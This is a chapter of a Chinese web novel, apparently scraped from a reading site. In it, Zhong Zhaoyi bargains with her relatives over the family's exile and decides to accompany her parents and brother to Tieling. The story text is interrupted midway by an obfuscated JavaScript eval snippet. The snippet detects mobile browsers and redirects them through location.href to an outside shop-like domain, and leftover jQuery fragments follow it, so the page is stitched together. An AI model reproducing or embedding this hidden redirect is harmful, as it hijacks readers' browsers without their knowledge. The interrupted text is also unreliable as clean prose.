钟嫣然瞳孔一缩,半晌,强行挤出笑容:
“大堂姐,大堂姐莫非是在与我说笑?告御状可是得受杖刑的……”
钟昭意定定点头,视线扫过老夫人和钟家其他人的神情:
“宣定伯府犯的可是重罪,没听差役们说起,流放都已是陛下留情了,你们还让楚秉钧冒着全家被砍头的风险,去向陛下求情……
既如此,你们是不是也得拿出点诚意?不过受受杖刑,又不是让你去死。
嫣然堂妹至纯至孝,想必为了祖父祖母和全家,定能不顾己身安危,欣然前往的吧?”
她转身要去找领头的差役:
“我这便同官爷们说上一声,请他们抬抬手,放嫣然堂妹去告御状,为祖父祖母搏出一条生路。”
钟昭意还没走出五步远,身后便传来一声咬牙切齿地‘等等’。
她转过身,似笑非笑睨着出声的老夫人:
“唉,是我考虑不周,祖母心疼堂妹,当然不愿她受杖刑,不如……”
钟昭意的视线逐一扫过坐在地上的钟家其他人,每看向一个人,就喊上一声:
“二叔?三叔?明程堂弟?明望堂弟?还是明德堂弟?哎呀呀,祖母总不能让祖父,或年仅五岁的明渊堂弟去告御状吧?”
被点到名的人下意识往后缩了缩,再也不复钟嫣然开口时的理直气壮。
老夫人气得眼前一黑:
“你……岂有此理!钟锦和,刘妙仪,你们还不管管吗?我钟家就算落魄至此,也轮不到一个小辈爬到我头上嚣张!”
钟锦和不以为然地撇撇嘴:
“还摆老太君的架势呢?也不瞧瞧自个儿现在是个什么处境,再敢这么嘚瑟嚣张,整个钟家安然无恙走到铁岭卫的,都不定还剩下几个呢。”
钟昭意眼神闪了闪,没说话。
原书里,活着走到铁岭卫的,只剩下钟嫣然,也就是三叔一家。
其他两家,包括祖父祖母,全都没了。
“你!”老夫人两眼一黑。
老伯爷钟重屁股染着血,整个人暮气沉沉,这时突然开了口:
“挑个人告御状?可以,就让钟云宴去。”
钟锦和和刘妙仪同时‘呸’了一声:“做梦!”
刘妙仪气冲冲踹了脚身旁的钟锦和:
“凭什么要我儿子告御状?我们一家四口可是认了命,对陛下的处置没有丝毫异议。谁要求情,谁想留京,就自个儿去,别扯上我们全家!”
钟锦和硬挨了一脚踹,有这么一群脑子不灵光的家人,他活该被踹。
一阵沉默过后,钟重浑浊的眼睛看向钟昭意:
“你说,到底要怎样,才答应向楚秉钧求情?到底是一家人,我们被发配铁岭卫充军,你在京城没了倚仗,也落不得什么好。”
倚仗?
说的好像钟家的人留在京城,就能做她的底气,替她撑腰一样。
然而宣定伯府失势,府邸都被抄没,往日巴结攀附,甚至正常往来的大臣勋贵,早已翻脸不认人。
钟家就算留在京城,又能如何?
连个住处都没有,还得仰仗楚秉钧的鼻息而活。
但凡出了什么事,不仅不会替她说上一言半语,反倒还会骂她不识好歹,逼她向楚秉钧低头。
钟昭意望一眼小摊车,在众多期盼的视线下,平静地说:
“祖父应当知道,附逆之罪绝非一两个人求情就能平安无事的,朝中大臣个个恨不得与钟家划清界限。
祖父二叔三叔多年的好友,祖母二婶三婶的娘家,以及嫣然堂妹的未婚夫傅家都不敢掺和的事,楚秉钧是个聪明人,不能、也不会置身其中。
祖父要我开口求情,我自问在楚秉钧面前,没有这么大的面子,足以叫他拿楚家全家的性命,去赌一件结果不可逆的事。”
钟嫣然早已站了起来,闻言不忿地说:
“大堂姐太谦虚了,当年楚秉钧落魄到三天只能吃上一顿饱饭。
若非被大堂姐相中,执意要他做夫君,他岂有今日的光景?又岂能得从龙之功?”
钟昭意拦住欲回怼的爹娘,语气依旧平淡:
“嫣然堂妹说的不错,正因他楚秉钧一步一步,从寒门书生走到今时今日的地位,他才更明白什么叫审时度势,什么叫趋利避害。
堂妹合该更清楚才对,毕竟抄家当天,你那未婚夫一改三天后迎你进门的承诺,亲自登门,与你退了亲。”
钟嫣然咬紧下唇,脸色惨白,神情变换一阵后,终究向钟昭意低了头:
“大堂姐有什么要求尽管提,只要不被流放充军……”
钟重同样紧紧盯着钟昭意:
“她的话,正是我钟家全家的意思。我钟家上下,除了你爹和钟云宴,个个饱读诗书,陛下又并未下令不允科举,我等,未必没有起复的一天。”
钟昭意沉默半晌,脸上露出几分为难:
“不瞒各位,我已求过楚秉钧,但他说……看在昔日情分上,只能救下钟家一人。”
老夫人在旁听着,想也不想便脱口而出:“让他救嫣然!”
钟锦和心底一寒,对爹娘彻底失望。
钟云宴气笑了,赶在刘妙仪出声前,扬声大骂:
“凭什么?她钟嫣然既非嫡又非长,还不是楚秉钧的未婚妻,楚秉钧凭什么得救她?
老子没记错的话,当年钟嫣然借楚秉钧骂过我姐呢,你们真想连累我姐一起被流放就直说,没必要在这儿费尽心思害人!”
钟云宴老早就不耐烦了,不过碍于不想让姐姐留下不孝的骂名,递给楚家借口退亲的说头,这才强忍了。
这时拿木枷锁一通乱怼,活活怼出一条宽敞的路。
“姐,别搭理他们,支持三皇子时没想着带上我们一家,害得曾祖父拿命换来的爵位被削,连带我们全家都被流放,现在还想来害你!
还说什么饱读诗书,我看啊,一个个书都读到狗肚子里去了,一群不要脸的东西!”
钟家人本来还想拦着,硬生生被钟云宴怼开了。
钟昭意看看爹娘的表情,并未多说什么,跟上钟云宴走到小摊车旁边。
钟云宴使劲嗅嗅空气中残留的香味,口水都快流下来:
“姐,快给我拿个肉饼尝尝,我都饿了好些天。大牢里的吃食,难吃到难以下咽,我全靠过人的意志力,这才熬到现在。”
钟昭意围着爹娘和不省心的弟弟转了两圈,没看到血迹或伤口,只是身形瘦削、形容憔悴,这才放下心。
她绕到小摊车后,翻出专门留给家人的肉饼,挨个递到他们手上。
爹娘情绪还在低落中,钟云宴大口啃着肉饼,发出咔嚓咔嚓的声响,含糊地说:
“姐,这事你别掺和,回去后也别跟楚秉钧提,你们待在京城好好过日子。
好有好的活法,差有差的活法,我还就不信了,被发配充军,我们一家三口就没了活路。”
这是他们三个得了发配铁岭卫充军的消息后,连夜商量出的决定。
楚秉钧虽说算不上什么好人,但也不是狼心狗肺之辈。
钟昭意嫁进楚家,很可能会因钟家的事受些委屈,却也比流放到铁岭卫,既劳身又劳力,说不定还有什么别的危险要强。
钟昭意飞快收拾好小摊车,朝爹娘和弟弟笑着说:
“我已决定好了,送你们去辽东。”
“不行!”钟锦和咽下香喷喷的肉饼,忍住继续吃的念头,毫不犹豫反对道,“你以为流放是什么好事吗?昭意,你待在京城,楚秉钧再怎么也会护住你的。”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356491|199688||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
护住她?
她离开楚家十几日,楚秉钧可都不曾派人找寻过。
钟昭意略过楚秉钧的事不谈,撒娇地说:
“爹娘,我就送你们一程,等你们平安到了铁岭卫,我就回京,如何?”
话是这么说。
等到了铁岭卫,她就继续摆摊做生意,顺带照顾亲人。
至于和楚秉钧退亲一事……暂时不能说。
此行流放,山高路远,危险重重。
钟昭意如今没有任何底气和靠山,只能厚着脸皮扯一扯楚秉钧的大旗,震慑一众差役们,叫他们不敢肆意欺辱钟家人。
刘妙仪从郡王府不曾派人前来送行的失落中回神,眯起眼打量钟昭意几眼,刚要问出疑惑。
钟昭意轻飘飘转移注意力,压低声音问:“爹娘,云宴,你们可藏了银子?”
她被打晕送去楚家,接连高烧好几天,等清醒过来,衣物配饰首饰全都换了。
离开楚家时又太着急,没来得及去问楚秉钧借银子。
幸好她的小吃摊可以自动补货,样样食物不缺,否则连打点狱卒差役的银子都拿不出来。
然而,能力越强,限制越大。
钟昭意这十几天以来,不是没想过藏些金银珠宝到小摊车里,甚至实践过数次。
没一次成功的。
头一天藏的东西,不论是什么,也不论数量多少,次日都会消失不见。
钟锦和三人齐刷刷陷入漫长沉默。
钟云宴第一个摇头,没了方才的嚣张气焰,无辜地说:
“姐,你还不了解我吗?我手头松得很,向来只花银子不攒钱的。抄家那天,我忙着找你,没来得及藏金银珠宝。
至于身上佩戴的那些,全被搜了去,连蚕丝做的中衣、锦缎做的鞋面,都被薅走了。
对了姐,你这小摊哪来的?楚秉钧给你弄来的?不可能吧,他成日里对谁都冷冷淡淡的,何时竟这么体贴……”
刘妙仪踹了糟心的儿子一脚,骂他:“吃你的肉饼吧,问那么多干什么?”
“哦……”
见钟锦和同样面露为难,刘妙仪顿了顿,扫一眼不时瞟向这边的一群差役,压低声音:
“他们倒是不敢搜我的身,只让我主动交出值钱的首饰,还派了个女的盯着……只藏了一块玉佩。”
钟昭意面露无奈,却也明白这事,怪不了任何人。
谁能想到盛郡王府的德荣县主,和先帝亲封的宣定伯府世子,一朝竟沦落到被流放充军的地步。
尤其盛郡王在夺嫡之争里保持中立,并未掺和任何一方。
不过……
钟昭意眺望不远处囚车里的三皇子一家,只能感慨一句世事无常。
“爹娘,现下最要紧的,还不是银子。”
钟昭意抓起一把匣子里的铜板,任由铜板从手中滑落,逐一掉进匣子里,发出清脆的声响。
“现下八月,走到铁岭卫,少说也得两个月,那时铁岭卫早已入冬。棉衣被褥水囊……都需提前做足准备。可我离开楚府时太过匆忙……”
钟昭意离开楚府十几天,既怕错过爹娘云宴被流放出京,又怕被其他人盯上,再度拿她昔日的身份做文章,更担心被楚秉钧找上。
因此不敢在京城久待,推着小摊车到京郊长亭附近摆摊。
每天晚上等到深夜人静后,在附近村庄的破屋里稍作休息。
衣物被褥等等,一概都没来得及准备。
刘妙仪一听,就知道昭意和楚秉钧闹了矛盾,再看昭意一身衣物干净整洁,但料子分明是麻布做的,糙得很。
她家昭意何时吃过这种苦?
刘妙仪气得又踹了钟锦和一脚,狠狠瞪一眼造孽的钟家人,却发现钟家周围围了好几个人。